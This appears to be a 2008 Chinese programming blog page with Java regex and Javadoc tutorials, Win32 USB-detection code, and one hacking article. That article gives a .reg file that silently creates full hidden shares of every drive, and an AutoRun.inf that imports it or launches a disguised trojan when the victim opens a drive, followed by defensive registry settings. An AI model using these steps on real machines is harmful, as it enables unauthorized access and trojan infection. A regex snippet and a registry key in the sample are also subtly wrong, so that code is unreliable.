u-s-soldiers

BlogJava 首页 新随笔 联系 聚合 管理
  13 Posts :: 0 Stories :: 1 Comments :: 0 Trackbacks

2008年4月10日 #

public class StringUtil {

  
 public static void replaceBlank()
 {
  Pattern p = Pattern.compile(\\s*|\t|\r|\n);
  String str="I am a, I am Hello  ok, \n new line ffdsa!";
  System.out.println("before:"+str);
  Matcher m = p.matcher(str);
  String after = m.replaceAll(""); 
  System.out.println("after:"+after);
 }
 
 public static void main(String[] args) {
    replaceBlank();
  }

posted @ 2008-05-13 02:42 u-s-soldiers 阅读(491) | 评论 (0)编辑 收藏

正则表达式在字符串处理上有着强大的功能,sun在jdk1.4加入了对它的支持 

下面简单的说下它的4种常用功能:

查询:

String str="abc efg ABC";

String regEx="a|f";   //表示a或f 

Pattern p=Pattern.compile(regEx);

Matcher m=p.matcher(str);

boolean rs=m.find();

如果str中有regEx,那么rs为true,否则为flase。如果想在查找时忽略大小写,则可以写成Pattern p=Pattern.compile(regEx,Pattern.CASE_INSENSITIVE);

提取:
String regEx=".+\\\\(.+)$";

String str="c:\\dir1\\dir2\\name.txt";

Pattern p=Pattern.compile(regEx);

Matcher m=p.matcher(str);

boolean rs=m.find();

for(int i=1;i<=m.groupCount();i++){

System.out.println(m.group(i));

}

以上的执行结果为name.txt,提取的字符串储存在m.group(i)中,其中i最大值为m.groupCount();

分割:

String regEx="::";

Pattern p=Pattern.compile(regEx);

String[] r=p.split("xd::abc::cde");

执行后,r就是{"xd","abc","cde"},其实分割时还有跟简单的方法:

String str="xd::abc::cde";

String[] r=str.split("::");

替换(删除):

String regEx="a+"; //表示一个或多个a

Pattern p=Pattern.compile(regEx);

Matcher m=p.matcher("aaabbced a ccdeaa");

String s=m.replaceAll("A");

结果为"Abbced A ccdeA"

如果写成空串,既可达到删除的功能,比如:

String s=m.replaceAll("");

结果为"bbced  ccde"

附:

\d 等於 [0-9] 数字 
\D 等於 [^0-9] 非数字 
\s 等於 [ \t\n\x0B\f\r] 空白字元 
\S 等於 [^ \t\n\x0B\f\r] 非空白字元 
\w 等於 [a-zA-Z_0-9] 数字或是英文字 
\W 等於 [^a-zA-Z_0-9] 非数字与英文字 

^ 表示每行的开头
$ 表示每行的结尾
posted @ 2008-05-03 14:44 u-s-soldiers 阅读(160) | 评论 (0)编辑 收藏

// UsbHook.cpp : Defines the entry point for the application.
//

#include "stdafx.h"
#include "Dbt.h"

void DeviceChangeEventOpt(WPARAM wParam, LPARAM lParam)
{
 switch(wParam)
 {
 case DBT_CONFIGCHANGECANCELED:
  MessageBox(NULL,"设备改变DBT_CONFIGCHANGECANCELED","提示",MB_OK);
  break;
 case DBT_CONFIGCHANGED:
  MessageBox(NULL,"设备改变DBT_CONFIGCHANGED","提示",MB_OK);
  break;
 //case DBT_CUSTOMEVENT:
 // MessageBox(NULL,"设备改变DBT_CUSTOMEVENT","提示",MB_OK);
 // break;
 case DBT_DEVICEARRIVAL: // A device has been inserted and is now available. 
 
  MessageBox(NULL,"设备改变DBT_DEVICEARRIVAL","提示",MB_OK);
  
  DEV_BROADCAST_HDR *stHDR;
  stHDR = (DEV_BROADCAST_HDR *)lParam;

  //判断设备类型
  switch(stHDR->dbch_devicetype)
  {
  case DBT_DEVTYP_DEVNODE:
   MessageBox(NULL,"设备类型 DBT_DEVTYP_DEVNODE","提示",MB_OK);
   break;
  case DBT_DEVTYP_NET:
   MessageBox(NULL,"设备类型 DBT_DEVTYP_NET","提示",MB_OK);
   break;
  case DBT_DEVTYP_OEM:
   MessageBox(NULL,"设备类型 DBT_DEVTYP_OEM","提示",MB_OK);
   break;
  case DBT_DEVTYP_PORT:
   MessageBox(NULL,"设备类型 DBT_DEVTYP_PORT","提示",MB_OK);
   break;
  case DBT_DEVTYP_VOLUME:// Logical volume. This structure is a DEV_BROADCAST_VOLUME structure
   MessageBox(NULL,"设备类型 DBT_DEVTYP_VOLUME","提示",MB_OK);
   break;
  }
  //
 
  break;
  case DBT_DEVICEQUERYREMOVE:
   MessageBox(NULL,"设备改变DBT_DEVICEQUERYREMOVE","提示",MB_OK);
   break; 
  case DBT_DEVICEQUERYREMOVEFAILED:
   MessageBox(NULL,"设备改变DBT_DEVICEQUERYREMOVEFAILED","提示",MB_OK);
   break; 
  case DBT_DEVICEREMOVECOMPLETE:// A device has been removed.
   MessageBox(NULL,"设备改变DBT_DEVICEREMOVECOMPLETE","提示",MB_OK);
   break; 
  case DBT_DEVICEREMOVEPENDING://
   MessageBox(NULL,"设备改变DBT_DEVICEREMOVEPENDING","提示",MB_OK);
   break; 
  case DBT_DEVICETYPESPECIFIC://
   MessageBox(NULL,"设备改变DBT_DEVICETYPESPECIFIC","提示",MB_OK);
   break; 
  case DBT_QUERYCHANGECONFIG: 
   MessageBox(NULL,"设备改变DBT_QUERYCHANGECONFIG","提示",MB_OK);
   break; 
  case DBT_USERDEFINED ://
   MessageBox(NULL,"设备改变DBT_USERDEFINED","提示",MB_OK);
   break;
   
 }
}

HWND  hwndMain;
LRESULT CALLBACK WndProc(
       HWND hwnd,      // handle to window
       UINT uMsg,      // message identifier
       WPARAM wParam,  // first message parameter
       LPARAM lParam   // second message parameter
       )
{
 
 switch(uMsg)
 {
 case WM_CREATE:
  break;
 case WM_DESTROY:
  PostQuitMessage(0);
  break;
 case WM_COMMAND:
  break;
 case WM_DEVICECHANGE:
  
  DeviceChangeEventOpt(wParam,lParam);
  
  
  break;
 }
 return DefWindowProc(hwnd,uMsg,wParam,lParam);
}

int APIENTRY WinMain(HINSTANCE hInstance,
                     HINSTANCE hPrevInstance,
                     LPSTR     lpCmdLine,
                     int       nCmdShow)
{
  // TODO: Place code here.

 // TODO: Place code here.
 
 WNDCLASSEX wclass;
 MSG msg;
 
 wclass.cbClsExtra = 0;
 wclass.cbSize = sizeof(WNDCLASSEX);
 wclass.cbWndExtra = 0;
 wclass.hbrBackground = (HBRUSH)GetStockObject(LTGRAY_BRUSH);
 wclass.hCursor = NULL;
 wclass.hIcon = NULL;
 wclass.hIconSm = NULL;
 wclass.hInstance = hInstance;
 wclass.lpfnWndProc =(WNDPROC)WndProc;
 wclass.lpszClassName = "CheckUSB";
 wclass.lpszMenuName = NULL;
 wclass.style = CS_DBLCLKS;
 
 
 
 if(!RegisterClassEx(&wclass))
 {
  MessageBox(NULL,"类创建失败","类创建失败",MB_OK);
 }
 hwndMain = CreateWindow("CheckUSB","检测USB设备",
  WS_OVERLAPPED | WS_SYSMENU  | WS_MINIMIZEBOX | WS_VISIBLE, CW_USEDEFAULT, CW_USEDEFAULT, 320, 300,NULL, NULL, hInstance, NULL);
 while(GetMessage(&msg,NULL,0,0))
 {
  TranslateMessage(&msg);   //translate the message into its char equivelent
  DispatchMessage(&msg);
 }
 
 return msg.wParam;

}

 

原帖来自http://search.csdn.net/Expert/topic/989/989392.xml?temp=.1137812
代码中有部分参数意思不是很明确,在参考了msdn后做了一定的改动。用U盘测试并没有什么问题。反正那几个参数标识的也不是U盘的参数。
用USB鼠标和键盘测试并没有反映,但是可以监视USB存储设备感觉已经达到要求了,有时间再改进一下

posted @ 2008-04-30 03:38 u-s-soldiers 阅读(1315) | 评论 (1)编辑 收藏

最近网上流行通过AutoRun.inf文件使对方所有的硬盘完全共享或中木马的方法,由于AutoRun.inf文件在黑客技术中的应用还是很少见的,相应的资料也不多,有很多人对此觉得很神秘,本文试图为您解开这个迷,使您能完全的了解这个并不复杂却极其有趣的技术。

一、理论基础

经常使用光盘的朋友都知道,有很多光盘放入光驱就会自动运行,它们是怎么做的呢?光盘一放入光驱就会自动被执行,主要依靠两个文件,一是光盘上的AutoRun.inf文件,另一个是操作系统本身的系统文件之一的Cdvsd.vxd。Cdvsd.vxd会随时侦测光驱中是否有放入光盘的动作,如果有的话,便开始寻找光盘根目录下的AutoRun.inf文件。如果存在AutoRun.inf文件则执行它里面的预设程序。

AutoRun.inf不光能让光盘自动运行程序,也能让硬盘自动运行程序,方法很简单,先打开记事本,然后用鼠标右键点击该文件,在弹出菜单中选择“重命名”,将其改名为AutoRun.inf,在AutoRun.inf中键入以下内容:

[AutoRun]    //表示AutoRun部分开始,必须输入

Icon=C:\C.ico  //给C盘一个个性化的盘符图标C.ico

Open=C:\1.exe  //指定要运行程序的路径和名称,在此为C盘下的1.exe

保存该文件,按F5刷新桌面,再看“我的电脑”中的该盘符(在此为C盘),你会发现它的磁盘图标变了,双击进入C盘,还会自动播放C盘下的1.exe文件!

解释一下:“[AutoRun]”行是必须的固定格式,“Icon”行对应的是图标文件,“C:\C.ico”为图标文件路径和文件名,你在输入时可以将它改为你的图片文件所在路径和文件名。另外,“.ico”为图标文件的扩展名,如果你手头上没有这类文件,可以用看图软件ACDSee将其他格式的软件转换为ico格式,或者找到一个后缀名为BMP的文件,将它直接改名为ICO文件即可。

“Open”行指定要自动运行的文件及其盘符和路径。要特别说明的是,如果你要改变的硬盘跟目录下没有自动播放文件,就应该把“OPEN”行删掉,否则就会因为找不到自动播放文件而打不开硬盘,此时只能用鼠标右键单击盘符在弹出菜单中选“打开”才行。

请大家注意:保存的文件名必须是“AutoRun.inf”,编制好的Autorun.inf文件和图标文件一定要放在硬盘根目录下。更进一步,如果你的某个硬盘内容暂时比较固定的话,不妨用Flash做一个自动播放文件,再编上“Autorun”文件,那你就有最酷、最个性的硬盘了。

到这儿还没有完。大家知道,在一些光盘放入后,我们在其图标上单击鼠标右键,还会产生一个具有特色的目录菜单,如果能对着我们的硬盘点击鼠标右键也产生这样的效果,那将更加的有特色。其实,光盘能有这样的效果也仅仅是因为在AutoRun.inf文件中有如下两条语句:

shell\标志=显示的鼠标右键菜单中内容

shell\标志\command=要执行的文件或命令行

所以,要让硬盘具有特色的目录菜单,在AutoRun.inf文件中加入上述语句即可,示例如下:

shell\1=天若有情天亦老

shell\1\command\=notepad ok.txt

保存完毕,按F5键刷新,然后用鼠标右键单击硬盘图标,在弹出菜单中会发现“天若有情天亦老”,点击它,会自动打开硬盘中的“ok.txt”文件。注意:上面示例假设“ok.txt”文件在硬盘根目录下,notepad为系统自带的记事本程序。如果要执行的文件为直接可执行程序,则在“command\”后直接添加该执行程序文件名即可。

二、实例

下面就举个例子:如果你扫到一台开着139共享的机器,而对方只完全共享了D盘,我们要让对方的所有驱动器都共享。首先编辑一个注册表文件,打开记事本,键入以下内容:

REGEDIT4
'此处一定要空一行
[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Network\Lanman\C$]
"Path"="C:"
"Remark"=""
"Type"=dword:00000000
"Flags"=dword:00000302
"Parmlenc"=hex:
"Parm2enc"=hex:

[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Network\Lanman\D$]
"Path"="D:"
"Remark"=""
"Type"=dword:00000000
"Flags"=dword:00000302
"Parmlenc"=hex:
"Parm2enc"=hex:

[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Network\Lanman\C$]
"Path"="E:"
"Remark"=""
"Type"=dword:00000000
"Flags"=dword:00000302
"Parmlenc"=hex:
"Parm2enc"=hex:

以上我只设置到E盘,如果对方有很多逻辑盘符的请自行设置。将以上部分另存为Share.reg文件备用。要特别注意REGEDIT4为大写且顶格书写,其后要空上一行,在最后一行记得要按一次回车键。

然后打开记事本,编制一个AutoRun.inf文件,键入以下内容:

[AutoRun]
Open=regedit/s Share.reg //加/s参数是为了导入时不会显示任何信息

保存AutoRun.inf文件。将Share.reg和AutoRun.inf这两个文件都复制到对方的D盘的根目录下,这样对方只要双击D盘就会将Share.reg导入注册表,这样对方电脑重启后所有驱动器就会都完全共享出来。

如果想让对方中木马,只要在AutoRun.inf文件中,把“Open=Share.Reg”改成“Open=木马服务端文件名”,然后把AutoRun.inf和配置好的木马服务端一起复制到对方D盘的根目录下,这样不需对方运行木马服务端程序,而只需他双击D盘就会使木马运行!这样做的好处显而易见,那就是大大的增加了木马运行的主动性!须知许多人现在都是非常警惕的,不熟悉的文件他们轻易的不会运行,而这种方法就很难防范了。

要说明的是,给你下木马的人不会那么蠢的不给木马加以伪装,一般说来,他们会给木马服务端文件改个名字,或好听或和系统文件名很相像,然后给木马换个图标,使它看起来像TXT文件、ZIP文件或图片文件等,,最后修改木马的资源文件使其不被杀毒软件识别(具体的方法可以看本刊以前的文章),当服务端用户信以为真时,木马却悄悄侵入了系统。其实,换个角度理解就不难了——要是您给别人下木马我想你也会这样做的。以上手段再辅以如上内容的AutoRun.inf文件就天衣无缝了!

三、防范方法

共享分类完全是由flags标志决定的,它的键值决定了共享目录的类型。当flags=0x302时,重新启动系统,目录共享标志消失,表面上看没有共享,实际上该目录正处于完全共享状态。网上流行的共享蠕虫,就是利用了此特性。如果把"Flags"=dword:00000302改成"Flags"=dword:00000402,就可以看到硬盘被共享了,明白了吗?秘密就在这里!

以上代码中的Parmlenc、Parm2enc属性项是加密的密码,系统在加密时采用了8位密码分别与“35 9a 4b a6 53 a9 d4 6a”进行异或运算,要想求出密码再进行一次异或运算,然后查ASCII表可得出目录密码。在网络软件中有一款软件就利用该属性进行网络密码破解的,在局域网内从一台机器上可以看到另一台计算机的共享密码。

利用TCP/IP协议设计的NethackerⅡ软件可以穿过Internet网络,找到共享的主机,然后进行相应操作。所以当您通过Modem上网时,千万要小心,因为一不小心,您的主机将完全共享给对方了。

解决办法是把

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Network\LanMan

下面的“C$”、“D$”、“E$”等删掉。然后删除windows\system\下面的Vserver.vxd删除,它是Microsoft网络上的文件与打印机共享虚拟设备驱动程序,再把

HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\VxD\

下的Vserver键值删掉,就会很安全了。

另外,关闭硬盘AutoRun功能也是防范黑客入侵的有效方法之一。具体方法是在“开始”菜单的“运行”中输入Regedit,打开注册表编辑器,展开到

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Exploer

主键下,在右侧窗格中找到“NoDriveTypeAutoRun”,就是这个键决定了是否执行CDROM或硬盘的AutoRun功能。

双击“NoDriveTypeAutoRun”,在默认状态下(即你没有禁止过AutoRun功能),在弹出窗口中可以看到“NoDriveTypeAutoRun”默认键值为95,00,00,00。其中第一个值“95”是十六进制值,它是所有被禁止自动运行设备的和。将“95”转为二进制就是10010101,其中每位代表一个设备,Windows中不同设备会用如下数值表示:

设备名称     第几位 值 设备用如下数值表示  设备名称含义
DKIVE_UNKNOWN   0  1  01h       不能识别的设备类型
DRIVE_NO_ROOT_DIR 1  0  02h       没有根目录的驱动器(Drive without root  
directory)
DRIVE_REMOVABLE  2  1  04h       可移 动驱动器(Removable drive)
DRIVE_FIXED    3  0  08h       固定的驱动器(Fixed drive)
DRIVE_REMOTE   4  1  10h       网络驱动器(Network drive)
DRIVE_CDROM    5  0  20h       光驱(CD-ROM)  
DRIVE_RAMDISK   6  0  40h       RAM磁盘(RAM Disk)
保留       7  1  80h       未指定的驱动器类型(Not yet
specified drive disk)

在上面所列的表中值为“0”表示设备运行,值为“1”表示该设备不运行(默认情况下,Windows禁止80h、10h、4h、01h这些设备自动运行,这些数值累加正好是十六进制的95h,所以NoDriveTypeAutoRun”默认键值为95,00,00,00)。

由上面的分析不难看出,在默认情况下,会自动运行的设备是DRIVE_NO_ROOT_DIR、DRIVE_FIXED、DRIVE_CDROM、DRIVE_RAMDISK这四个保留设备,所以要禁止硬盘自动运行AutoRun.inf文件,就必须将DRIVE_FIXED的值设为1,这是因为DRIVE_FIXED代表固定的驱动器,即硬盘。这样一来,原来的10010101(在表中“值”列中由下向上看)就变成了二进制的10011101,转为十六进制为9D。现在,将“NoDriveTypeAutoRun”的键值改为9D,00,00,00后关闭注册表编辑器,重启电脑后就会关闭硬盘的AutoRun功能。

如果你看明白了,那你肯定知道该怎样禁止光盘AutoRun功能了,对!就是将DRIVE_CDROM设为1,这样“NoDriveTypeAutoRun”键值中的第一个值就变成了10110101,也就是十六进制的B5。将第一个值改为B5后关闭注册表编辑器,重启电脑后就会关闭CDROM的Autorun功能。如果仅想禁止软件光盘的AutoRun功能,但又保留对CD音频碟的自动播放能力,这时只需将“NoDriveTypeAutoRun”的键值改为:BD,00,00,00即可。

如果想要恢复硬盘或光驱的AutoRun功能,进行反方向操作即可。

事实上,大多数的硬盘根目录下并不需要AutoRun.inf文件来运行程序,因此我们完全可以将硬盘的AutoRun功能关闭,这样即使在硬盘根目录下有AutoRun.inf这个文件,Windows也不会去运行其中指定的程序,从而可以达到防止黑客利用AutoRun.inf文件入侵的目的。

除此以外,我们还应让Windows能显示出隐藏的共享。大家都知道,在Windows 9X中设置共享时,通过在共享名后加上“$”这个符号,可使共享隐藏。比如,我们给一个名为share的计算机的C盘设置共享时,只要将其共享名设为C$。这样我们将看不到被共享的C盘,只有通过输入该共享的确切路径,才能访问此共享。不过我们只要用将电脑中的msnp32.dll文件稍做修改。就可以让Windows显示出隐藏的共享。

由于在Windows下msnp32.dll会被调用,不能直接修改此文件,所以第一步我们要复制msnp32.dll到C盘下并改名为msnp32,msnp32.dll在C:\Windows\system文件夹下。运行UltraEdit等十六进制文件编辑器打开msnp32,找到“24 56 E8 17”(位于偏移地址00003190~000031A0处),找到后将“24”改为“00”,然后保存,关闭UltraEdit。重启计算机进入DOS模式,在命令提示符下输入copy c:\msnp32.dll c:\Windows\system\msnp32.dll,重启进入Windows,现在双击share就能看见被隐藏的共享了。

最后要提醒大家利用TCP/IP协议设计的NethackerⅡ等黑客软件可以穿过Internet网络,找到共享的主机,然后进行相应操作。所以当您通过Modem上网时,千万要小心,因为一不小心,您的主机将完全共享给对方了。防范这类事情发生的方法无非是经常检查系统,给系统打上补丁,经常使用反黑杀毒软件,上网时打开防火墙,注意异常现象,留意AutoRun.inf文件的内容,关闭共享或不要设置为完全共享,且加上复杂的共享密码。

声明:本文的目的是使大家能清楚地了解网上流行的黑客手段,增强自己的防护意识,因此请大家不要用本文的方法去干违法的事情,切记:己所不欲,勿施于人!

posted @ 2008-04-30 01:46 u-s-soldiers 阅读(184) | 评论 (0)编辑 收藏

 对于Java注释我们主要了解两种:
  // 注释一行
  /* ...... */ 注释若干行
  但还有第三种,文档注释:
  /** ...... */ 注释若干行,并写入 javadoc 文档
  通常这种注释的多行写法如下:
  /**
  * .........
  * .........
  */
  很多人多忽视了这第三种注释,那么这第三种注释有什么用?javadoc 又是什么东西?下面我们就谈谈。
  一. Java 文档和 Javadoc
  Java 程序员都应该知道使用 JDK 开发,最好的帮助信息就来自 SUN 发布的 Java 文档。它分包、分类详细的提供了各方法、属性的帮助信息,具有详细的类树信息、索引信息等,并提供了许多相关类之间的关系,如继承、实现接口、引用等。
  Java 文档全是由一些 html 文件组织起来的,在 SUM 的站点上可以下载它们的压缩包。但是你肯定想不到,这些文档我们可以自己生成。——就此打住,再吊一次胃口。
  安装了 JDK 之后,安装目录下有一个 src.jar 文件或者 src.zip 文件,它们都是以 ZIP 格式压缩的,可以使用 WinZip 解压。解压之后,我们就可以看到分目录放的全是 .java 文件。是了,这些就是 Java 运行类的源码了,非常完整,连注释都写得一清二楚……不过,怎么看这些注释都有点似曾相识的感觉?
  这就不奇怪了,我们的迷底也快要揭开了。如果你仔细对比一下 .java 源文件中的文档注释 (/** ... */) 和 Java 文档的内容,你会发现它们就是一样的。Java 文档只是还在格式和排版上下了些功夫。再仔细一点,你会发现 .java 源文件中的注释还带有 HTML 标识,如 <B>、<BR>、<Code> 等,在 Java 文档中,该出现这些标识的地方,已经按标识的的定义进行了排版。
  终于真像大白了,原来 Java 文档是来自这些注释。难怪这些注释叫做文档注释呢!不过,是什么工具把这些注释变成文档的呢?
  是该请出 javadoc 的时候了。在 JDK 的 bin 目录下你可以找到 javadoc,如果是 Windows 下的 JDK,它的文件名为 javadoc.exe。使用 javdoc 编译 .java 源文件时,它会读出 .java 源文件中的文档注释,并按照一定的规则与 Java 源程序一起进行编译,生成文档。
  介绍 javadoc 的编译命令之前,还是先了解一下文档注释的格式吧。不过为了能够编译下面提到的若干例子,这里先介绍一条 javadoc 命令:
  javadoc -d 文档存放目录 -author -version 源文件名.java
  这条命令编译一个名为 “源文件名.java”的 java 源文件,并将生成的文档存放在“文档存放目录”指定的目录下,生成的文档中 index.html 就是文档的首页。-author 和 -version 两上选项可以省略。
  二. 文档注释的格式
  文档注释可以用于对类、属性、方法等进行说明。写文档注释时除了需要使用 /** .... */ 限定之外,还需要注意注释内部的一些细节问题。
  1. 文档和文档注释的格式化
  生成的文档是 HTML 格式,而这些 HTML 格式的标识符并不是 javadoc 加的,而是我们在写注释的时候写上去的。比如,需要换行时,不是敲入一个回车符,而是写入 <br>,如果要分段,就应该在段前写入 <p>。
  因此,格式化文档,就是在文档注释中添加相应的 HTML 标识。
  文档注释的正文并不是直接复制到输出文件 (文档的 HTML 文件),而是读取每一行后,删掉前导的 * 号及 * 号以前的空格,再输入到文档的。如
  /**
  * This is first line. <br>
  ***** This is second line. <br>
  This is third line.
  */ 
  编译输出后的 HTML 源码则是
  This is first line. <br>
  This is second line. <br>
  This is third line. 
  前导的 * 号允许连续使用多个,其效果和使用一个 * 号一样,但多个 * 号前不能有其它字符分隔,否则分隔符及后面的 * 号都将作为文档的内容。* 号在这里是作为左边界使用,如上例的第一行和第二行;如果没有前导的 * 号,则边界从第一个有效字符开始,而不包括前面的空格,如上例第三行。
  还有一点需要说明,文档注释只说明紧接其后的类、属性或者方法。如下例:
  /** comment for class */
  public class Test {
  /** comment for a attribute */
  int number;
  /** comment for a method */
  public void myMethod() { ...... }
  ......
  }
  上例中的三处注释就是分别对类、属性和方法的文档注释。它们生成的文档分别是说明紧接其后的类、属性、方法的。“紧接”二字尤其重要,如果忽略了这一点,就很可能造成生成的文档错误。如
  import java.lang.*;
  /** commnet for class */
  public class Test { ...... }
  // 此例为正确的例子
  这个文档注释将生成正确的文档。但只需要改变其中两行的位置,变成下例,就会出错:
  /** commnet for class */
  import java.lang.*;
  public class Test { ...... }
  // 此例为错误的例子
  这个例子只把上例的 import 语句和文档注释部分交换了位置,结果却大不相同——生成的文档中根本就找不到上述注释的内容了。原因何在?
  “/** commnet for class */”是对 class Test 的说明,把它放在“public class Test { ...... }”之前时,其后紧接着 class Test,符合规则,所以生成的文档正确。但是把它和“import java.lang.*;”调换了位置后,其后紧接的就是不 class Test 了,而是一个 import 语句。由于文档注释只能说明类、属性和方法,import 语句不在此列,所以这个文档注释就被当作错误说明省略掉了。
  2. 文档注释的三部分
  根据在文档中显示的效果,文档注释分为三部分。先举例如下,以便说明。
  /**
  * show 方法的简述.
  * <p>show 方法的详细说明第一行<br>
  * show 方法的详细说明第二行
  * @param b true 表示显示,false 表示隐藏
  * @return 没有返回值
  */
  public void show(boolean b) {
  frame.show(b);
  }
  第一部分是简述。文档中,对于属性和方法都是先有一个列表,然后才在后面一个一个的详细的说明。列表中属性名或者方法名后面那段说明就是简述。如下图中被红框框选的部分:
   
  简述部分写在一段文档注释的最前面,第一个点号 (.) 之前 (包括点号)。换句话说,就是用第一个点号分隔文档注释,之前是简述,之后是第二部分和第三部分。如上例中的 “* show 方法的简述.”。
  有时,即使正确地以一个点号作为分隔,javadoc 仍然会出错,把点号后面的部分也做为了第一部分。为了解决这个问题,我们可以使用一个 <p> 标志将第二分部分开为下一段,如上例的“* <p>show 方法的详细说明第一行 ....”。除此之外,我们也可以使用 <br> 来分隔。
  第二部分是详细说明部分。该部分对属性或者方法进行详细的说明,在格式上没有什么特殊的要求,可以包含若干个点号。它在文档中的位置如下图所示:
   
  这部分文档在上例中相应的代码是:
  * show 方法的简述.
  * <p>show 方法的详细说明第一行<br>
  * show 方法的详细说明第二行
  发现什么了?对了,简述也在其中。这一点要记住了,不要画蛇添足——在详细说明部分中再写一次简述哦!
  第三部分是特殊说明部分。这部分包括版本说明、参数说明、返回值说明等。它在文档中的位置:
   
  第三部分在上例中相应的代码是
  * @param b true 表示显示,false 表示隐藏
  * @return 没有返回值
  除了 @param 和 @return 之外,还有其它的一些特殊标记,分别用于对类、属性和方法的说明……不要推我,我马上就说。
  三. 使用 javadoc 标记
  javadoc 标记是插入文档注释中的特殊标记,它们用于标识代码中的特殊引用。javadoc 标记由“@”及其后所跟的标记类型和专用注释引用组成。记住了,三个部分——@、标记类型、专用注释引用。不过我宁愿把它分成两部分:@ 和标记类型、专用注释引用。虽然 @ 和 标记类型之间有时可以用空格符分隔,但是我宁愿始终将它们紧挨着写,以减少出错机会。
  javadoc 标记有如下一些:
   
  下面详细说明各标记。
  1. @see 的使用
  @see 的句法有三种:
  @see 类名
  @see #方法名或属性名
  @see 类名#方法名或属性名
  类名,可以根据需要只写出类名 (如 String) 或者写出类全名 (如 java.lang.String)。那么什么时候只需要写出类名,什么时候需要写出类全名呢?
  如果 java 源文件中的 import 语句包含了的类,可以只写出类名,如果没有包含,则需要写出类全名。java.lang 也已经默认被包含了。这和 javac 编译 java 源文件时的规定一样,所以可以简单的用 javac 编译来判断,源程序中 javac 能找到的类,javadoc 也一定能找到;javac 找不到的类,javadoc 也找不到,这就需要使用类全名了。
  方法名或者属性名,如果是属性名,则只需要写出属性名即可;如果是方法名,则需要写出方法名以及参数类型,没有参数的方法,需要写出一对括号。如
   
  有时也可以偷懒:假如上例中,没有 count 这一属性,那么参考方法 count() 就可以简写成 @see count。不过,为了安全起见,还是写全 @see count() 比较好。
  @see 的第二个句法和第三个句法都是转向方法或者属性的参考,它们有什么区别呢?
  第二
2. 使用 @author、@version 说明类
  这两个标记分别用于指明类的作者和版本。缺省情况下 javadoc 将其忽略,但命令行开关 -author 和 -version 可以修改这个功能,使其包含的信息被输出。这两个标记的句法如下:
  @author 作者名
  @version 版本号
  其中,@author 可以多次使用,以指明多个作者,生成的文档中每个作者之间使用逗号 (,) 隔开。@version 也可以使用多次,只有第一次有效,生成的文档中只会显示第一次使用 @version 指明的版本号。如下例
  /**
  * @author Fancy
  * @author Bird
  * @version Version 1.00
  * @version Version 2.00
  */
  public class TestJavaDoc {
  }
  生成文档的相关部分如图:
   
  从生成文档的图示中可以看出,两个 @author 语句都被编译,在文档中生成了作者列表。而两个 @version 语句中只有第一句被编译了,只生成了一个版本号。
  从图上看,作者列表是以逗号分隔的,如果我想分行显示怎么办?另外,如果我想显示两个以上的版本号又该怎么办?
  ——我们可以将上述两条 @author 语句合为一句,把两个 @version 语句也合为一句:
  @author Fancy<br>Bird
  @version Version 1.00<br>Version 2.00
  结果如图:
   
  我们这样做即达到了目的,又没有破坏规则。@author 之后的作者名和 @version 之后的版本号都可以是用户自己定义的任何 HTML 格式,所以我们可以使用 <br> 标记将其分行显示。同时,在一个 @version 中指明两个用 <br> 分隔的版本号,也没有破坏只显示第一个 @version 内容的规则。
  3. 使用 @param、@return 和 @exception 说明方法
  这三个标记都是只用于方法的。@param 描述方法的参数,@return 描述方法的返回值,@exception 描述方法可能抛出的异常。它们的句法如下:
  @param 参数名 参数说明
  @return 返回值说明
  @exception 异常类名 说明
  每一个 @param 只能描述方法的一个参数,所以,如果方法需要多个参数,就需要多次使用 @param 来描述。
  一个方法中只能用一个 @return,如果文档说明中列了多个 @return,则 javadoc 编译时会发出警告,且只有第一个 @return 在生成的文档中有效。
  方法可能抛出的异常应当用 @exception 描述。由于一个方法可能抛出多个异常,所以可以有多个 @exception。每个 @exception 后面应有简述的异常类名,说明中应指出抛出异常的原因。需要注意的是,异常类名应该根据源文件的 import 语句确定是写出类名还是类全名。   示例如下:
  public class TestJavaDoc {
  /**
  * @param n a switch
  * @param b excrescent parameter
  * @return true or false
  * @return excrescent return
  * @exception java.lang.Exception throw when switch is 1
  * @exception NullPointerException throw when parameter n is null
  */
  public boolean fun(Integer n) throws Exception {
  switch (n.intValue()) {
  case 0:
  break;
  case 1:
  throw new Exception("Test Only");
  default:
  return false;
  }
  return true;
  }
  }
  使用 javadoc 编译生成的文档相关部分如下图:
   
  可以看到,上例中 @param b excrescent parameter 一句是多余的,因为参数只是一个 n,并没有一个 b但是 javadoc 编译时并没有检查。因此,写文档注释时一定要正确匹配参数表与方法中正式参数表的项目。如果方法参数表中的参数是 a,文档中却给出对参数 x 的解释,或者再多出一个参数 i,就会让人摸不着头脑了。@exceptin 也是一样。
  上例程序中并没有抛出一个 NullPointerException,但是文档注释中为什么要写上这么一句呢,难道又是为了演示?这不是为了演示描述多余的异常也能通过编译,而是为了说明写异常说明时应考运行时 (RunTime) 异常的可能性。上例程序中,如果参数 n 是给的一个空值 (null),那么程序会在运行的时候抛出一个 NullPointerException,因此,在文档注释中添加了对 NullPointerException 的说明。
  上例中的 @return 语句有两个,但是根据规则,同一个方法中,只有第一个 @return 有效,其余的会被 javadoc 忽略。所以生成的文档中没有出现第二个 @return 的描述。
  讲到这里,该怎么写文档注释你应该已经清楚了,下面就开始讲解 javadoc 的常用命令。
  四. javadoc 命令
  运行 javadoc -help 可以看到 javadoc 的用法,这里列举常用参数如下:
  用法:
  javadoc [options] [packagenames] [sourcefiles]
  选项:
  -public 仅显示 public 类和成员
  -protected 显示 protected/public 类和成员 (缺省)
  -package 显示 package/protected/public 类和成员
  -private 显示所有类和成员
  -d <directory> 输出文件的目标目录
  -version 包含 @version 段
  -author 包含 @author 段
  -splitindex 将索引分为每个字母对应一个文件
  -windowtitle <text> 文档的浏览器窗口标题
  javadoc 编译文档时可以给定包列表,也可以给出源程序文件列表。例如在 CLASSPATH 下有两个包若干类如下:
  fancy.Editor
  fancy.Test
  fancy.editor.ECommand
  fancy.editor.EDocument
  fancy.editor.EView
  这里有两个包 (fancy 和 fancy.editor) 和 5 个类。那么编译时 (Windows 环境) 可以使用如下 javadoc 命令:
  javadoc fancy\Test.java fancy\Editor.java fancy\editor\ECommand.java fancy\editor\EDocument.java fancy\editor\EView.java
